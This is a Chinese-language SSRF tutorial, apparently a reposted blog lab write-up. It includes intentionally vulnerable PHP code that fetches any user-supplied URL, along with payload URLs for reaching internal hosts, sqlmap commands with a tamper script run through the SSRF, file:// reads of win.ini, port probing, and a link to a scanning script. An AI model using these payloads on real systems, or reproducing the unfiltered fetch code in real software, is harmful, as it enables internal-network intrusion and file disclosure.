ssrf漏洞利用


0x00 前言

發現最近已經很久沒更新文章了,這里就先來更新一篇ssrf,這個漏洞也是最近才研究的,以前沒有去挖過此類漏洞,對此漏洞的認知也比較少

0x01 漏洞原理

這個漏洞產生是因為服務器向外部去請求一些資源,例如圖片或者是url的時候就會造成這個漏洞。現在很多網站開發的時候也會請求到外部的一些圖片,那么這樣也很有可能存在ssrf漏洞。

先來看看產生ssrf漏洞的幾個函數。

file_get_contents()
fsockopen()
curl_exec()

 

 

0x02 ssrf 利用

 

在php里面使用者幾個函數來請求外部的資源,並且沒做限制和過濾的話就會產生這個ssrf漏洞,

這里先來編寫一段簡單的ssrf代碼。

<?php
function curl($url)
{
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL, $url);
    curl_setopt($ch,CURLOPT_HEADER,0);
    curl_exec($ch);
    curl_close($ch);

}
$url = $_GET['url'];
curl($url);
?>

 

這里請求以get方式接收url傳參過來數據。

在正常情況下url可能是這樣的

http://127.0.0.1/ssrf1.php?url=https://p2.ssl.qhimgs1.com/t01523800134810ef18.jpg

 

但是我們如果把他請求的鏈接替換成他內網的地址,就可以讓他直接訪問內網的80端口。

 

http://127.0.0.1/ssrf1.php?url=http://192.168.0.104

 

 

 

 

 

這里可以看到能利用到ssrf漏洞,訪問到內部的資源,那么我們是不是可以來嘗試一下能不能訪問他內網的url進行sql注入,但是這里只會加載部分資源,具體得還得靠字典去掃描。

方便演示,直接搭建了個sqli-labs 的靶機在他訪問的內網環境中,用ssrf來請求。

 

http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=2%27

 

 

 

 

這里要注意的一個點是后面輸入的payload 要url編碼,否則會報錯。

 

這里直接使用sqlmap來跑,內網的一些網站大部分防護比較弱。

sqlmap -u "http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=1*" --dbs

 

 

 

 

在這里只檢測出來了存在注入,但是缺沒有爆出數據,后面輸入空格的地方沒做編碼可能會報錯

 

 

 

 

 

那么我們使用sqlmap的時候可以加上tamper腳本,讓空格做個編碼或者是替換。

sqlmap -u "http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=1*" --dbs --tamper=space2comment

 

 

 

 

 

這里成功爆出所有數據。

 

ssrf也可以使用一些偽協議來探測內網的ip和端口,這里先使用file協議來讀取文件。

 

http://127.0.0.1/ssrf1.php?url=file://c:\\windows\\win.ini

 

 

 

 

 

 

成功訪問到win.ini文件

這里編寫了個腳本使用file協議來使用字典去遍歷文件。

 

python.exe ssrf.py http://127.0.0.1/ssrf1.php?url path.txt file

 

這里能直接遍歷到文件。讓腳本幫我們完成工作,能讓我們在滲透當中避免不必要的麻煩。

 

遍歷完文件后,還可以用ssrf來遍歷端口。

 

http://127.0.0.1/ssrf1.php?url=http://127.0.0.1:3306

 

 

 

 

這里可以直接探測到一些banner信息,如果沒開放的話,這里是不會返回任何內容的。

那么我們這里肯定也不能使用手工去做探測依然用到我們的腳本。

python ssrf.py http://127.0.0.1/ssrf1.php?url port.txt http

 

 

 

 

可以成功探測出本機ip開放的端口以及版本信息,在代碼里面默認寫的是探測本機的端口,如果想探測其他的內網ip段開放端口的話可以自行修改一下代碼中的ip。因為先麻煩所以暫時先把它給固定死。項目的地址也在這里貼出來給各位師傅。

github地址:https://github.com/nice0e3/ssrf

在這里還有個功能沒寫就是需要遍歷內網存活的80端口,后面也會逐漸完善這個腳本。

 

 

0x03 一些小感慨

在這段時間接觸腳本開發以來,發現原來會開發安全工具的和不會開發的是兩種本質上的區別,從思維上就有很大的區別。不會開發工具的話,話說難聽點就是個工具人。但是會開發工具的缺不一樣,會開發工具的會是一個開發工具的工具人,哈哈哈。

最近都在完善一些腳本能力,也在逐漸使用腳本來完善一些以前有過的一些大膽的想法。

 

本文章耗時:兩小時

 

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM